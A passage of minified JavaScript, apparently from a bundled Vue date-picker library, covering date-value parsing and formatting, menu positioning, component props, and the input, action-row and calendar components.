g=e=>{const n=e||ya();return t.modelType?N(n):{hours:On(n),minutes:Mn(n),seconds:t.enableSeconds?An(n):0}},y=e=>t.modelType?N(e):{month:En(e),year:Rn(e)},b=e=>Array.isArray(e)?d(()=>[rr(ya(),e[0]),e[1]?rr(ya(),e[1]):c()]):rr(ya(),+e),$=(e,n)=>\"string\"!=typeof e&&\"number\"!=typeof e||!t.modelType?n:I(e),w=e=>Array.isArray(e)?[$(e[0],wa(null,+e[0].hours,+e[0].minutes,e[0].seconds)),$(e[1],wa(null,+e[1].hours,+e[1].minutes,e[1].seconds))]:$(e,wa(null,e.hours,e.minutes,e.seconds)),_=e=>Array.isArray(e)?d(()=>[$(e[0],p(null,+e[0].month,+e[0].year)),$(e[1],e[1]?p(null,+e[1].month,+e[1].year):c())]):$(e,p(null,+e.month,+e.year)),k=e=>{if(Array.isArray(e))return e.map(e=>I(e));throw new Error(Do.dateArr(\"multi-dates\"))},C=e=>{if(Array.isArray(e))return[ya(e[0]),ya(e[1])];throw new Error(Do.dateArr(\"week-picker\"))},x=e=>t.modelAuto?Array.isArray(e)?[I(e[0]),I(e[1])]:t.autoApply?[I(e)]:[I(e),null]:Array.isArray(e)?d(()=>[I(e[0]),e[1]?I(e[1]):c()]):I(e),S=()=>{Array.isArray(o.value)&&t.range&&1===o.value.length&&o.value.push(c())},E=()=>{const e=o.value;return[N(e[0]),e[1]?N(e[1]):c()]},T=()=>o.value[1]?E():N(Bo(o.value[0])),R=()=>(o.value||[]).map(e=>N(e)),O=()=>(S(),t.modelAuto?T():t.multiDates?R():Array.isArray(o.value)?d(()=>E()):N(Bo(o.value))),M=e=>e?t.timePicker?w(Bo(e)):t.monthPicker?_(Bo(e)):t.yearPicker?b(Bo(e)):t.multiDates?k(Bo(e)):t.weekPicker?C(Bo(e)):x(Bo(e)):null,A=e=>{const t=M(e);f(Bo(t))?(o.value=Bo(t),P()):(o.value=null,v.value=\"\")},D=()=>{var e;const t=e=>{var t;return xn(e,null==(t=h.value.textInputOptions)?void 0:t.format)};return`${t(o.value[0])} ${null==(e=h.value.textInputOptions)?void 0:e.rangeSeparator} ${o.value[1]?t(o.value[1]):\"\"}`},B=()=>{var e;return n.value&&o.value?Array.isArray(o.value)?D():xn(o.value,null==(e=h.value.textInputOptions)?void 0:e.format):s(o.value)},W=()=>{var e;return o.value?t.multiDates?o.value.map(e=>s(e)).join(\"; \"):t.textInput&&\"string\"==typeof(null==(e=h.value.textInputOptions)?void 0:e.format)?B():s(o.value):\"\"},P=()=>{t.format&&\"string\"!=typeof t.format?v.value=t.format(o.value):v.value=W()},I=e=>{if(t.utc){const n=new Date(e);return\"preserve\"===t.utc?new Date(n.getTime()+6e4*n.getTimezoneOffset()):n}return t.modelType?\"date\"===t.modelType||\"timestamp\"===t.modelType?l(new Date(e)):\"format\"!==t.modelType||\"string\"!=typeof t.format&&t.format?l(Qt(e,t.modelType,new Date)):Qt(e,u(),new Date):l(new Date(e))},N=e=>t.utc?ba(e,\"preserve\"===t.utc):t.modelType?\"timestamp\"===t.modelType?+i(e):\"format\"!==t.modelType||\"string\"!=typeof t.format&&t.format?s(i(e),t.modelType):s(i(e)):i(e),L=t=>{e(\"update:model-value\",t)},j=e=>Array.isArray(o.value)?[e(o.value[0]),o.value[1]?e(o.value[1]):c()]:e(Bo(o.value)),F=e=>L(Bo(j(e)));return{inputValue:v,internalModelValue:o,checkBeforeEmit:()=>!!o.value&&(t.range?t.partialRange?o.value.length>=1:2===o.value.length:!!o.value),parseExternalModelValue:A,formatInputValue:P,emitModelValue:()=>(P(),t.monthPicker?F(y):t.timePicker?F(g):t.yearPicker?F(Rn):t.weekPicker?L(o.value):L(O()))}},ai=(e,t)=>{const{validateMonthYearInRange:n,validateMaxDate:a,validateMinDate:o,defaults:i}=Uo(e),l=(e,t)=>{let n=e;return i.value.filters.months.includes(En(n))?(n=t?ir(e,1):gr(e,1),l(n,t)):n},s=(e,t)=>{let n=e;return i.value.filters.years.includes(Rn(n))?(n=t?yr(e,1):br(e,1),s(n,t)):n},u=t=>{const r=ar(new Date,{month:e.month,year:e.year});let a=t?ir(r,1):gr(r,1),o=En(a),u=Rn(a);i.value.filters.months.includes(o)&&(a=l(a,t),o=En(a),u=Rn(a)),i.value.filters.years.includes(u)&&(a=s(a,t),u=Rn(a)),n(o,u,t,e.preventMinMaxNavigation)&&d(o,u)},d=(e,n)=>{t(\"update-month-year\",{month:e,year:n})},c=(0,r.EW)(()=>t=>{if(!e.preventMinMaxNavigation||t&&!e.maxDate||!t&&!e.minDate)return!1;const n=ar(new Date,{month:e.month,year:e.year}),r=t?ir(n,1):gr(n,1),i=[En(r),Rn(r)];return t?!a(...i):!o(...i)});return{handleMonthYearChange:u,isDisabled:c,updateMonthYear:d}};var oi=(e=>(e.center=\"center\",e.left=\"left\",e.right=\"right\",e))(oi||{});const ii=(e,t,n,o)=>{const i=(0,a.KR)({top:\"0\",left:\"0\",transform:\"none\"}),l=(0,a.KR)(!1),s=(0,a.lW)(o,\"teleportCenter\");(0,r.wB)(s,()=>{y()});const u=e=>{const t=e.getBoundingClientRect();return{left:t.left+window.scrollX,top:t.top+window.scrollY}},d=e=>{const t=e.getBoundingClientRect();let n=0,r=0;for(;e&&!isNaN(e.offsetLeft)&&!isNaN(e.offsetTop);)n+=e.offsetLeft-e.scrollLeft,r=t.top+e.scrollTop,e=e.offsetParent;return{top:r,left:n}},c=(e,t)=>{i.value.left=`${e+t}px`,i.value.transform=\"translateX(-100%)\"},f=e=>{i.value.left=`${e}px`,i.value.transform=\"translateX(0)\"},p=(e,t,n=!1)=>{o.position===oi.left&&f(e),o.position===oi.right&&c(e,t),o.position===oi.center&&(i.value.left=`${e+t\u002F2}px`,i.value.transform=n?\"translate(-50%, -50%)\":\"translateX(-50%)\")},h=e=>{const{width:t,height:n}=e.getBoundingClientRect(),{top:r,left:a}=o.altPosition?d(e):u(e);return{top:r,left:a,width:t,height:n}},v=()=>{const e=Oo(t);if(e){const{top:t,left:n,width:r,height:a}=h(e);i.value.top=`${t+a\u002F2}px`,i.value.transform=\"translateY(-50%)\",p(n,r,!0)}},m=()=>{i.value.left=\"50%\",i.value.top=\"50%\",i.value.transform=\"translate(-50%, -50%)\",i.value.position=\"fixed\"},g=()=>{const e=Oo(t);i.value=o.altPosition(e)},y=(e=!0)=>{if(!o.inline)return s.value?m():o.altPosition&&\"boolean\"!=typeof o.altPosition?g():(e&&n(\"recalculate-position\"),C())},b=({inputEl:e,menuEl:t,left:n,width:r})=>{window.screen.width>768&&p(n,r),_(e,t)},$=(e,t)=>{const{top:n,left:r,height:a,width:s}=h(e);i.value.top=`${a+n+ +o.offset}px`,b({inputEl:e,menuEl:t,left:r,width:s}),l.value=!1},w=(e,t)=>{const{top:n,left:r,width:a}=h(e),{height:s}=t.getBoundingClientRect();i.value.top=n-s-+o.offset+\"px\",b({inputEl:e,menuEl:t,left:r,width:a}),l.value=!0},_=(e,t)=>{if(o.autoPosition){const{left:n,width:r}=h(e),{left:a,right:o}=t.getBoundingClientRect();if(a\u003C0)return f(n);if(o>document.documentElement.clientWidth)return c(n,r)}},k=(e,t)=>{const{height:n}=t.getBoundingClientRect(),{top:r,height:a}=e.getBoundingClientRect(),o=window.innerHeight-r-a,i=r;return n\u003C=o?$(e,t):n>o&&n\u003C=i?w(e,t):o>=i?$(e,t):w(e,t)},C=()=>{const n=Oo(t),r=Oo(e);if(n&&r)return o.autoPosition?k(n,r):$(n,r)};return{openOnTop:l,menuPosition:i,setMenuPosition:y,setInitialPosition:v}},li=[{name:\"clock-icon\",use:[\"time\",\"calendar\"]},{name:\"arrow-left\",use:[\"month-year\",\"calendar\"]},{name:\"arrow-right\",use:[\"month-year\",\"calendar\"]},{name:\"arrow-up\",use:[\"time\",\"calendar\"]},{name:\"arrow-down\",use:[\"time\",\"calendar\"]},{name:\"calendar-icon\",use:[\"month-year\",\"time\",\"calendar\"]},{name:\"day\",use:[\"calendar\"]},{name:\"month-overlay-value\",use:[\"calendar\",\"month-year\"]},{name:\"year-overlay-value\",use:[\"calendar\",\"month-year\"]},{name:\"year-overlay\",use:[\"month-year\"]},{name:\"month-overlay\",use:[\"month-year\"]},{name:\"month-overlay-header\",use:[\"month-year\"]},{name:\"year-overlay-header\",use:[\"month-year\"]},{name:\"hours-overlay-value\",use:[\"calendar\",\"time\"]},{name:\"minutes-overlay-value\",use:[\"calendar\",\"time\"]},{name:\"seconds-overlay-value\",use:[\"calendar\",\"time\"]},{name:\"hours\",use:[\"calendar\",\"time\"]},{name:\"minutes\",use:[\"calendar\",\"time\"]},{name:\"month\",use:[\"calendar\",\"month-year\"]},{name:\"year\",use:[\"calendar\",\"month-year\"]},{name:\"action-select\",use:[\"action\"]},{name:\"action-preview\",use:[\"action\"]},{name:\"calendar-header\",use:[\"calendar\"]},{name:\"marker-tooltip\",use:[\"calendar\"]},{name:\"now-button\",use:[]},{name:\"time-picker-overlay\",use:[\"calendar\",\"time\"]},{name:\"am-pm-button\",use:[\"calendar\",\"time\"]},{name:\"left-sidebar\",use:[\"menu\"]},{name:\"right-sidebar\",use:[\"menu\"]},{name:\"month-year\",use:[\"month-year\"]},{name:\"time-picker\",use:[\"menu\"]},{name:\"action-row\",use:[\"action\"]}],si=[{name:\"trigger\"},{name:\"input-icon\"},{name:\"clear-icon\"},{name:\"dp-input\"}],ui={all:()=>li,monthYear:()=>li.filter(e=>e.use.includes(\"month-year\")),input:()=>si,timePicker:()=>li.filter(e=>e.use.includes(\"time\")),action:()=>li.filter(e=>e.use.includes(\"action\")),calendar:()=>li.filter(e=>e.use.includes(\"calendar\")),menu:()=>li.filter(e=>e.use.includes(\"menu\"))},di=(e,t,n)=>{const r=[];return ui[t]().forEach(t=>{e[t.name]&&r.push(t.name)}),n&&n.length&&n.forEach(e=>{e.slot&&r.push(e.slot)}),r},ci=e=>({transitionName:(0,r.EW)(()=>t=>e&&\"boolean\"!=typeof e?t?e.open:e.close:\"\"),showTransition:!!e}),fi={multiCalendars:{type:[Boolean,Number,String],default:null},modelValue:{type:[String,Date,Array,Object,Number],default:null},modelType:{type:String,default:null},position:{type:String,default:\"center\"},dark:{type:Boolean,default:!1},format:{type:[String,Function],default:()=>null},closeOnScroll:{type:Boolean,default:!1},autoPosition:{type:Boolean,default:!0},closeOnAutoApply:{type:Boolean,default:!0},teleport:{type:[String,Object],default:\"body\"},altPosition:{type:[Boolean,Function],default:!1},transitions:{type:[Boolean,Object],default:!0},formatLocale:{type:Object,default:null},utc:{type:[Boolean,String],default:!1},ariaLabels:{type:Object,default:()=>({})},offset:{type:[Number,String],default:10},hideNavigation:{type:Array,default:()=>[]},timezone:{type:String,default:null},vertical:{type:Boolean,default:!1},disableMonthYearSelect:{type:Boolean,default:!1},menuClassName:{type:String,default:null},dayClass:{type:Function,default:null},yearRange:{type:Array,default:()=>[1900,2100]},multiCalendarsSolo:{type:Boolean,default:!1},calendarCellClassName:{type:String,default:null},enableTimePicker:{type:Boolean,default:!0},autoApply:{type:Boolean,default:!1},disabledDates:{type:[Array,Function],default:()=>[]},monthNameFormat:{type:String,default:\"short\"},startDate:{type:[Date,String],default:null},startTime:{type:[Object,Array],default:null},monthYearComponent:{type:Object,default:null},timePickerComponent:{type:Object,default:null},actionRowComponent:{type:Object,default:null},hideOffsetDates:{type:Boolean,default:!1},autoRange:{type:[Number,String],default:null},noToday:{type:Boolean,default:!1},disabledWeekDays:{type:Array,default:()=>[]},allowedDates:{type:Array,default:()=>[]},showNowButton:{type:Boolean,default:!1},nowButtonLabel:{type:String,default:\"Now\"},markers:{type:Array,default:()=>[]},modeHeight:{type:[Number,String],default:255},escClose:{type:Boolean,default:!0},spaceConfirm:{type:Boolean,default:!0},monthChangeOnArrows:{type:Boolean,default:!0},presetRanges:{type:Array,default:()=>[]},flow:{type:Array,default:()=>[]},preventMinMaxNavigation:{type:Boolean,default:!1},minRange:{type:[Number,String],default:null},maxRange:{type:[Number,String],default:null},multiDatesLimit:{type:[Number,String],default:null},reverseYears:{type:Boolean,default:!1},keepActionRow:{type:Boolean,default:!1},weekPicker:{type:Boolean,default:!1},filters:{type:Object,default:()=>({})},arrowNavigation:{type:Boolean,default:!1},multiStatic:{type:Boolean,default:!0},disableTimeRangeValidation:{type:Boolean,default:!1},highlight:{type:[Array,Function],default:null},highlightWeekDays:{type:Array,default:null},highlightDisabledDays:{type:Boolean,default:!1},teleportCenter:{type:Boolean,default:!1},locale:{type:String,default:\"en-Us\"},weekNumName:{type:String,default:\"W\"},weekStart:{type:[Number,String],default:1},weekNumbers:{type:Boolean,default:!1},calendarClassName:{type:String,default:null},noSwipe:{type:Boolean,default:!1},monthChangeOnScroll:{type:[Boolean,String],default:!0},dayNames:{type:[Function,Array],default:null},monthPicker:{type:Boolean,default:!1},customProps:{type:Object,default:null},yearPicker:{type:Boolean,default:!1},modelAuto:{type:Boolean,default:!1},selectText:{type:String,default:\"Select\"},cancelText:{type:String,default:\"Cancel\"},previewFormat:{type:[String,Function],default:()=>\"\"},multiDates:{type:Boolean,default:!1},partialRange:{type:Boolean,default:!0},ignoreTimeValidation:{type:Boolean,default:!1},minDate:{type:[Date,String],default:null},maxDate:{type:[Date,String],default:null},minTime:{type:Object,default:null},maxTime:{type:Object,default:null},name:{type:String,default:null},placeholder:{type:String,default:\"\"},hideInputIcon:{type:Boolean,default:!1},clearable:{type:Boolean,default:!0},state:{type:Boolean,default:null},required:{type:Boolean,default:!1},autocomplete:{type:String,default:\"off\"},inputClassName:{type:String,default:null},inlineWithInput:{type:Boolean,default:!1},textInputOptions:{type:Object,default:()=>null},fixedStart:{type:Boolean,default:!1},fixedEnd:{type:Boolean,default:!1},timePicker:{type:Boolean,default:!1},enableSeconds:{type:Boolean,default:!1},is24:{type:Boolean,default:!0},noHoursOverlay:{type:Boolean,default:!1},noMinutesOverlay:{type:Boolean,default:!1},noSecondsOverlay:{type:Boolean,default:!1},hoursGridIncrement:{type:[String,Number],default:1},minutesGridIncrement:{type:[String,Number],default:5},secondsGridIncrement:{type:[String,Number],default:5},hoursIncrement:{type:[Number,String],default:1},minutesIncrement:{type:[Number,String],default:1},secondsIncrement:{type:[Number,String],default:1},range:{type:Boolean,default:!1},uid:{type:String,default:null},disabled:{type:Boolean,default:!1},readonly:{type:Boolean,default:!1},inline:{type:Boolean,default:!1},textInput:{type:Boolean,default:!1},onClickOutside:{type:Function,default:null},noDisabledRange:{type:Boolean,default:!1},sixWeeks:{type:Boolean,default:!1}},pi=[\"aria-label\",\"aria-disabled\",\"aria-readonly\"],hi={key:1,class:\"dp__input_wrap\"},vi=[\"id\",\"name\",\"inputmode\",\"placeholder\",\"disabled\",\"readonly\",\"required\",\"value\",\"autocomplete\",\"onKeydown\"],mi={key:2,class:\"dp__input_icon\"},gi={key:4,class:\"dp__clear_icon\"},yi=(0,r.pM)({__name:\"DatepickerInput\",props:{isMenuOpen:{type:Boolean,default:!1},inputValue:{type:String,default:\"\"},...fi},emits:[\"clear\",\"open\",\"update:input-value\",\"set-input-date\",\"close\",\"select-date\",\"set-empty-date\",\"toggle\",\"focus-prev\",\"focus\",\"blur\"],setup(e,{expose:t,emit:n}){const l=e,{getDefaultPattern:s,isValidDate:u,defaults:d}=Uo(l),c=(0,a.KR)(),f=(0,a.KR)(null),p=(0,a.KR)(!1),h=(0,r.EW)(()=>({dp__pointer:!l.disabled&&!l.readonly&&!l.textInput,dp__disabled:l.disabled,dp__input_readonly:!l.textInput,dp__input:!0,dp__input_icon_pad:!l.hideInputIcon,dp__input_valid:l.state,dp__input_invalid:!1===l.state,dp__input_focus:p.value||l.isMenuOpen,dp__input_reg:!l.textInput,[l.inputClassName]:!!l.inputClassName})),v=()=>{n(\"set-input-date\",null),l.autoApply&&(n(\"set-empty-date\"),c.value=null)},m=e=>{var t;return ga(e,(null==(t=d.value.textInputOptions)?void 0:t.format)||s())},g=e=>{const{rangeSeparator:t}=d.value.textInputOptions,[n,r]=e.split(`${t}`);if(n){const e=m(n.trim()),t=r?m(r.trim()):null,a=e&&t?[e,t]:[e];c.value=e?a:null}},y=e=>{if(l.range)g(e);else if(l.multiDates){const t=e.split(\";\");c.value=t.map(e=>m(e.trim())).filter(e=>e)}else c.value=m(e)},b=e=>{var t;const{value:r}=e.target;\"\"!==r?(null!=(t=d.value.textInputOptions)&&t.openMenu&&!l.isMenuOpen&&n(\"open\"),y(r),n(\"set-input-date\",c.value)):v(),n(\"update:input-value\",r)},$=()=>{var e,t;null!=(e=d.value.textInputOptions)&&e.enterSubmit&&u(c.value)&&\"\"!==l.inputValue?(n(\"set-input-date\",c.value,!0),c.value=null):null!=(t=d.value.textInputOptions)&&t.enterSubmit&&\"\"===l.inputValue&&(c.value=null,n(\"clear\"))},w=()=>{var e,t;null!=(e=d.value.textInputOptions)&&e.tabSubmit&&u(c.value)&&\"\"!==l.inputValue?(n(\"set-input-date\",c.value,!0),c.value=null):null!=(t=d.value.textInputOptions)&&t.tabSubmit&&\"\"===l.inputValue&&(c.value=null,n(\"clear\"))},_=()=>{p.value=!0,n(\"focus\")},k=e=>{var t;e.preventDefault(),e.stopImmediatePropagation(),e.stopPropagation(),l.textInput&&null!=(t=d.value.textInputOptions)&&t.openMenu&&!l.inlineWithInput?l.isMenuOpen?d.value.textInputOptions.enterSubmit&&n(\"select-date\"):n(\"open\"):l.textInput||n(\"toggle\")},C=()=>{p.value=!1,l.isMenuOpen||n(\"blur\"),l.autoApply&&l.textInput&&c.value&&(n(\"set-input-date\",c.value),n(\"select-date\"),c.value=null)},x=()=>{n(\"clear\")},S=e=>{l.textInput||e.preventDefault()};return t({focusInput:()=>{f.value&&f.value.focus({preventScroll:!0})}}),(t,n)=>{var l;return(0,r.uX)(),(0,r.CE)(\"div\",{onClick:k,\"aria-label\":null==(l=(0,a.R1)(d).ariaLabels)?void 0:l.input,role:\"textbox\",\"aria-multiline\":\"false\",\"aria-disabled\":t.disabled,\"aria-readonly\":t.readonly},[!t.$slots.trigger||t.$slots[\"dp-input\"]||t.inline?(0,r.Q3)(\"\",!0):(0,r.RG)(t.$slots,\"trigger\",{key:0}),t.$slots.trigger||t.inline&&!t.inlineWithInput?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",hi,[!t.$slots[\"dp-input\"]||t.$slots.trigger||t.inline?(0,r.Q3)(\"\",!0):(0,r.RG)(t.$slots,\"dp-input\",{key:0,value:e.inputValue,onInput:b,onEnter:$,onTab:w,onClear:x}),t.$slots[\"dp-input\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"input\",{key:1,ref_key:\"inputRef\",ref:f,id:t.uid?`dp-input-${t.uid}`:void 0,name:t.name,class:(0,o.C4)((0,a.R1)(h)),inputmode:t.textInput?\"text\":\"none\",placeholder:t.placeholder,disabled:t.disabled,readonly:t.readonly,required:t.required,value:e.inputValue,autocomplete:t.autocomplete,onInput:b,onKeydown:[(0,i.jR)(k,[\"enter\"]),(0,i.jR)(w,[\"tab\"])],onBlur:C,onFocus:_,onKeypress:S},null,42,vi)),t.$slots[\"input-icon\"]&&!t.hideInputIcon?((0,r.uX)(),(0,r.CE)(\"span\",mi,[(0,r.RG)(t.$slots,\"input-icon\")])):(0,r.Q3)(\"\",!0),t.$slots[\"input-icon\"]||t.hideInputIcon||t.$slots[\"dp-input\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Mr),{key:3,class:\"dp__input_icon dp__input_icons\"})),t.$slots[\"clear-icon\"]&&e.inputValue&&t.clearable&&!t.disabled&&!t.readonly?((0,r.uX)(),(0,r.CE)(\"span\",gi,[(0,r.RG)(t.$slots,\"clear-icon\",{clear:x})])):(0,r.Q3)(\"\",!0),!t.clearable||t.$slots[\"clear-icon\"]||!e.inputValue||t.disabled||t.readonly?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Nr),{key:5,class:\"dp__clear_icon dp__input_icons\",\"data-test\":\"clear-icon\",onClick:(0,i.D$)(x,[\"stop\",\"prevent\"])},null,8,[\"onClick\"]))]))],8,pi)}}}),bi={class:\"dp__selection_preview\"},$i={class:\"dp__action_buttons\"},wi=[\"onKeydown\"],_i=(0,r.pM)({__name:\"ActionRow\",props:{calendarWidth:{type:Number,default:0},menuMount:{type:Boolean,default:!1},internalModelValue:{type:[Date,Array],default:null},...fi},emits:[\"close-picker\",\"select-date\",\"invalid-select\"],setup(e,{emit:t}){const n=e,{formatDate:l,isValidTime:s,defaults:u}=Uo(n),{buildMatrix:d}=Zo(),c=(0,a.KR)(null),f=(0,a.KR)(null);(0,r.sV)(()=>{n.arrowNavigation&&d([Oo(c),Oo(f)],\"actionRow\")});const p=(0,r.EW)(()=>!(n.range&&!n.partialRange&&n.internalModelValue)||2===n.internalModelValue.length),h=(0,r.EW)(()=>!m.value||!g.value||!p.value),v=(0,r.EW)(()=>({dp__action:!0,dp__select:!0,dp__action_disabled:h.value})),m=(0,r.EW)(()=>!(n.enableTimePicker&&!n.ignoreTimeValidation)||s(n.internalModelValue)),g=(0,r.EW)(()=>!n.monthPicker||w(n.internalModelValue)),y=()=>{const e=u.value.previewFormat;return n.timePicker||n.monthPicker,e(Bo(n.internalModelValue))},b=()=>{const e=n.internalModelValue;return u.value.multiCalendars>0?`${l(e[0])} - ${l(e[1])}`:[l(e[0]),l(e[1])]},$=(0,r.EW)(()=>n.internalModelValue&&n.menuMount?\"string\"==typeof u.value.previewFormat?Array.isArray(n.internalModelValue)?2===n.internalModelValue.length&&n.internalModelValue[1]?b():n.multiDates?n.internalModelValue.map(e=>`${l(e)}`):n.modelAuto?`${l(n.internalModelValue[0])}`:`${l(n.internalModelValue[0])} -`:l(n.internalModelValue):y():\"\"),w=e=>{if(!n.monthPicker)return!0;let t=!0;return n.minDate&&n.maxDate?Ca(ya(e),ya(n.minDate))&&_a(ya(e),ya(n.maxDate)):(n.minDate&&(t=Ca(ya(e),ya(n.minDate))),n.maxDate&&(t=_a(ya(e),ya(n.maxDate))),t)},_=()=>{m.value&&g.value&&p.value?t(\"select-date\"):t(\"invalid-select\")};return(t,n)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__action_row\",style:(0,o.Tr)(e.calendarWidth?{width:`${e.calendarWidth}px`}:{})},[t.$slots[\"action-row\"]?(0,r.RG)(t.$slots,\"action-row\",(0,o._B)((0,r.v6)({key:0},{internalModelValue:e.internalModelValue,disabled:(0,a.R1)(h),selectDate:()=>t.$emit(\"select-date\"),closePicker:()=>t.$emit(\"close-picker\")}))):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.Lk)(\"div\",bi,[t.$slots[\"action-preview\"]?(0,r.RG)(t.$slots,\"action-preview\",{key:0,value:e.internalModelValue}):(0,r.Q3)(\"\",!0),t.$slots[\"action-preview\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[Array.isArray((0,a.R1)($))?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:0},[(0,r.eW)((0,o.v_)((0,a.R1)($)),1)],64)),Array.isArray((0,a.R1)($))?((0,r.uX)(!0),(0,r.CE)(r.FK,{key:1},(0,r.pI)((0,a.R1)($),(e,t)=>((0,r.uX)(),(0,r.CE)(\"div\",{key:t},(0,o.v_)(e),1))),128)):(0,r.Q3)(\"\",!0)],64))]),(0,r.Lk)(\"div\",$i,[t.$slots[\"action-select\"]?(0,r.RG)(t.$slots,\"action-select\",{key:0,value:e.internalModelValue}):(0,r.Q3)(\"\",!0),t.$slots[\"action-select\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[t.inline?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"span\",{key:0,class:\"dp__action dp__cancel\",ref_key:\"cancelButtonRef\",ref:c,tabindex:\"0\",onClick:n[0]||(n[0]=e=>t.$emit(\"close-picker\")),onKeydown:[n[1]||(n[1]=(0,i.jR)(e=>t.$emit(\"close-picker\"),[\"enter\"])),n[2]||(n[2]=(0,i.jR)(e=>t.$emit(\"close-picker\"),[\"space\"]))]},(0,o.v_)(t.cancelText),545)),(0,r.Lk)(\"span\",{class:(0,o.C4)((0,a.R1)(v)),tabindex:\"0\",onKeydown:[(0,i.jR)(_,[\"enter\"]),(0,i.jR)(_,[\"space\"])],onClick:_,\"data-test\":\"select-button\",ref_key:\"selectButtonRef\",ref:f},(0,o.v_)(t.selectText),43,wi)],64))])],64))],4))}}),ki=[\"aria-label\"],Ci={class:\"dp__calendar_header\",role:\"row\"},xi={key:0,class:\"dp__calendar_header_item\",role:\"gridcell\"},Si=(0,r.Lk)(\"div\",{class:\"dp__calendar_header_separator\"},null,-1),Ei=[\"aria-label\"],Ti={key:0,role:\"gridcell\",class:\"dp__calendar_item dp__week_num\"},Ri={class:\"dp__cell_inner\"},Oi=[\"aria-selected\",\"aria-disabled\",\"aria-label\",\"data-test\",\"onClick\",\"onKeydown\",\"onMouseenter\",\"onMouseleave\"],Mi=(0,r.Lk)(\"div\",{class:\"dp__arrow_bottom_tp\"},null,-1),Ai=(0,r.pM)({__name:\"Calendar\",props:{mappedDates:{type:Array,default:()=>[]},getWeekNum:{type:Function,default:()=>\"\"},specificMode:{type:Boolean,default:!1},instance:{type:Number,default:0},month:{type:Number,default:0},year:{type:Number,default:0},...fi},emits:[\"select-date\",\"set-hover-date\",\"handle-scroll\",\"mount\",\"handle-swipe\",\"handle-space\",\"tooltip-open\",\"tooltip-close\"],setup(e,{expose:t,emit:n}){const l=e,{buildMultiLevelMatrix:s}=Zo(),{setDateMonthOrYear:u,defaults:d}=Uo(l),c=(0,a.KR)(null),f=(0,a.KR)({bottom:\"\",left:\"\",transform:\"\"}),p=(0,a.KR)([]),h=(0,a.KR)(null),v=(0,a.KR)(!0),m=(0,a.KR)(\"\"),g=(0,a.KR)({startX:0,endX:0,startY:0,endY:0}),y=(0,r.EW)(()=>l.dayNames?Array.isArray(l.dayNames)?l.dayNames:l.dayNames(l.locale,+l.weekStart):So(l.locale,+l.weekStart));(0,r.sV)(()=>{n(\"mount\",{cmp:\"calendar\",refs:p}),l.noSwipe||h.value&&(h.value.addEventListener(\"touchstart\",R,{passive:!1}),h.value.addEventListener(\"touchend\",O,{passive:!1}),h.value.addEventListener(\"touchmove\",M,{passive:!1})),l.monthChangeOnScroll&&h.value&&h.value.addEventListener(\"wheel\",B,{passive:!1})});const b=e=>e?l.vertical?\"vNext\":\"next\":l.vertical?\"vPrevious\":\"previous\",$=(e,t)=>{if(l.transitions){const n=$a(u(ya(),l.month,l.year));m.value=Ca($a(u(ya(),e,t)),n)?d.value.transitions[b(!0)]:d.value.transitions[b(!1)],v.value=!1,(0,r.dY)(()=>{v.value=!0})}},w=(0,r.EW)(()=>({dp__calendar_wrap:!0,[l.calendarClassName]:!!l.calendarClassName})),_=(0,r.EW)(()=>e=>{const t=Mo(e);return{dp__marker_dot:\"dot\"===t.type,dp__marker_line:\"line\"===t.type}}),k=(0,r.EW)(()=>e=>ka(e,c.value)),C=(0,r.EW)(()=>({dp__calendar:!0,dp__calendar_next:d.value.multiCalendars>0&&0!==l.instance})),x=(0,r.EW)(()=>e=>!l.hideOffsetDates||e.current),S=(0,r.EW)(()=>l.specificMode?{height:`${l.modeHeight}px`}:void 0),E=(e,t,r)=>{var a,o;if(n(\"set-hover-date\",e),null!=(o=null==(a=e.marker)?void 0:a.tooltip)&&o.length){const a=Oo(p.value[t][r]);if(a){const{width:t,height:r}=a.getBoundingClientRect();f.value={bottom:`${r}px`,left:t\u002F2+\"px\",transform:\"translateX(-50%)\"},c.value=e.value,n(\"tooltip-open\",e.value)}}},T=e=>{c.value&&(c.value=null,n(\"tooltip-close\",e.value))},R=e=>{g.value.startX=e.changedTouches[0].screenX,g.value.startY=e.changedTouches[0].screenY},O=e=>{g.value.endX=e.changedTouches[0].screenX,g.value.endY=e.changedTouches[0].screenY,A()},M=e=>{l.vertical&&!l.inline&&e.preventDefault()},A=()=>{const e=l.vertical?\"Y\":\"X\";Math.abs(g.value[`start${e}`]-g.value[`end${e}`])>10&&n(\"handle-swipe\",g.value[`start${e}`]>g.value[`end${e}`]?\"right\":\"left\")},D=(e,t,n)=>{e&&(Array.isArray(p.value[t])?p.value[t][n]=e:p.value[t]=[e]),l.arrowNavigation&&s(p.value,\"calendar\")},B=e=>{l.monthChangeOnScroll&&(e.preventDefault(),n(\"handle-scroll\",e))};return t({triggerTransition:$}),(t,n)=>{var l;return(0,r.uX)(),(0,r.CE)(\"div\",{class:(0,o.C4)((0,a.R1)(C))},[(0,r.Lk)(\"div\",{style:(0,o.Tr)((0,a.R1)(S))},[e.specificMode?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",{key:0,ref_key:\"calendarWrapRef\",ref:h,class:(0,o.C4)((0,a.R1)(w)),role:\"grid\",\"aria-label\":null==(l=(0,a.R1)(d).ariaLabels)?void 